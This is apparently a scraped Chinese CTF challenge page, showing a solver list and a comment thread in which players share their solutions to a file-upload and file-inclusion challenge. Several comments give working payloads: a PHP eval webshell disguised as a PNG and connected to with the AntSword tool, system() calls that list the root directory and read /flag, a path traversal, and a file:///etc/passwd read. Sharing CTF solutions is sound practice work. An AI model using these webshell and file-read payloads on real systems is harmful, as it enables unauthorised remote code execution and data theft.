评分(6)
解题动态
michelle123 攻破了该题 14小时前
lemox 攻破了该题 20小时前
jvfnvd.vl 攻破了该题 21小时前
精灵925 攻破了该题 1天前
小爱莉希雅 攻破了该题 1天前
fl4y 攻破了该题 1天前
Cera 攻破了该题 1天前
青春小豆 攻破了该题 2天前
努力学习的白 攻破了该题 3天前
niubill 攻破了该题 4天前
whshkdh 攻破了该题 4天前
追风的牛牛 攻破了该题 4天前
hsf996 攻破了该题 5天前
C071 攻破了该题 5天前
ikun0073 攻破了该题 5天前
The_sloth 攻破了该题 6天前
dsdqh699 攻破了该题 6天前
ggsea 攻破了该题 7天前
liyimanfan 攻破了该题 7天前
评论
lysr 4年前
举报
桌面新建文本文档然后输入：<script language="php">@eval($_POST[pass])</script> 再重命名为xx.png，上传之后用中国蚁剑连http://114.67.246.176:16116/index.php?file=upload/202111161218016371.png，显示连接成功
lysr 4年前
举报
桌面新建文本文档然后输入：<script language="php">@eval($_POST[pass])</script> 再重命名为xx.png，上传之后用中国蚁剑连http://114.67.246.176:16116/index.php?file=upload/202111161218016371.png，显示连接成功
109张某 2年前
举报
大佬，中国蚁剑怎么连上的哦，他从服务器端直接过滤了php,直接就把最基本的连接类型阻断了，抓包也不能修改php类型
admin138798 4年前
举报
将<script language=php>system("cat /flag")</script>写成jpg文件上传直接访问就有flag了
狐萝卜CarroT 4年前
举报
什么意思，直接改成/flag就出来了
zxmals 4年前
举报
我这运气 file:///etc/passwd
wINFerno 4年前
举报
这题目我使用蚁剑连接不上，就写了<script language="php" >system('ls -al /')</script>查看目录 <script language="php" >system('tac /flag')</script>找到flag
zhou0626 4年前
举报
用蚁剑看了眼发现flag文件被放到了根目录
andrewlong 4年前
举报
/flag ??????
守得云开见月明 4年前
举报
@思南you flag是直接存放在根目录下的
思南you 4年前
举报
这是什么原理大佬
王大发财 4年前
举报
一个一个传的<script language=php>system("cat ../../../flag")</script>
onerm 4年前
举报
猜了一下，直接/flag。。。